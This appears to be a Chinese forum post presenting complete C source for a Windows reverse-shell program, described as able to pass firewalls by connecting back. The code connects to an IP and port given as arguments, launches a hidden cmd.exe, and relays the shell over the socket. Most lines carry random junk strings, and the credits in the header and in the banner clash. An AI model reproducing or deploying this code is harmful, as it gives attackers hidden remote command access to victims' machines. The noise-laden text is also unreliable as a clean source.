这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h7gH4L!'u
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/* ============================== X@|
Rebound port in Windows NT ro^Y$;G
By wind,2006/7 bG2!5m4L
===============================*/ 7v%~^l7:x
#include "z@qG]#5
#include (iBBdB
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#pragma comment(lib,"wsock32.lib") N9,n/t
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void OutputShell(); l#]Z?zW.
SOCKET sClient; ;v8,r#4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BuK 82
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void main(int argc,char **argv) BR"*-$u0;
{ /F/`?=1<$
WSADATA stWsaData; i&"I/!3Q@
int nRet; oBAD4qK
SOCKADDR_IN stSaiClient,stSaiServer; A/BL{ U}
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if(argc != 3) '3%!Gi!g
{ P`V#Wj4\
printf("Useage:\n\rRebound DestIP DestPort\n"); i FS?nZ~.
return; 5hg>2?e9s?
} -kQ{~">w
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WSAStartup(MAKEWORD(2,2),&stWsaData); h2h$UZIv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t=A|
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stSaiClient.sin_family = AF_INET; mIl^
stSaiClient.sin_port = htons(0); bLaD1rnGi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l3l[jDa, 2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F4">go
{ Z1^S;#v
printf("Bind Socket Failed!\n"); ?A,gDk/#
return; 8.]dThaq
} vP88%I;
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stSaiServer.sin_family = AF_INET; [4t_ 83
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f[h=>O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w7w$z_P
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NWX~@Rg
{
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printf("Connect Error!"); I?l*GO+pz
return; >$HMZbsE
} a/`fJY6rR
OutputShell(); 4.CLTy3W
} GD~3RnGQ{
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void OutputShell() f-4<W0%
{ T5W r;a
char szBuff[1024]; IxgnZX4N
SECURITY_ATTRIBUTES stSecurityAttributes; K6!`b(
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OSVERSIONINFO stOsversionInfo; BC!l)2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f85j?Jm
STARTUPINFO stStartupInfo; stoBjDS
char *szShell; KC8A22
PROCESS_INFORMATION stProcessInformation; L=zeFn
unsigned long lBytesRead; bF?EuL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X+bLLW>&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HTkce,dQ
stSecurityAttributes.lpSecurityDescriptor = 0; 6q6&N'We
stSecurityAttributes.bInheritHandle = TRUE; `=%[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }6m5MH$7q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >nvreis
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !4I?59
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LNk
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stStartupInfo.wShowWindow = SW_HIDE; 1pO ;aG1O
stStartupInfo.hStdInput = hReadPipe; q:1 1XPP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6t/})Xv
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GetVersionEx(&stOsversionInfo); "0zMx`Dh
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switch(stOsversionInfo.dwPlatformId) [9aaHf@'
{ l<z[)fE{uS
case 1: Kq6m5A]z
szShell = "command.com"; ~iF*+\
break; p~Dm3^Y
default: UxD1+\N6?
szShell = "cmd.exe"; sOU_j4M{
break; R0*DfJS:Z
} uTB;Bva
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~~ )&? \N
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send(sClient,szMsg,77,0); XD%?'uUQ_
while(1) HRx#}hN?+
{ P{QRmEE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nb0<.ICF%R
if(lBytesRead) 5g/^wKhKG
{ K2:r7f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]DC]=F.
send(sClient,szBuff,lBytesRead,0); rv|k8
} "eh"'Z
else \+L_'*&8
{ J,m.LpY
lBytesRead=recv(sClient,szBuff,1024,0); /x-Ja[kL
if(lBytesRead<=0) break; UkXc7D^jwm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ><`.(Z5c
} N]+x@M @^3
} #Yj0'bgK
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return; =p&6A^
}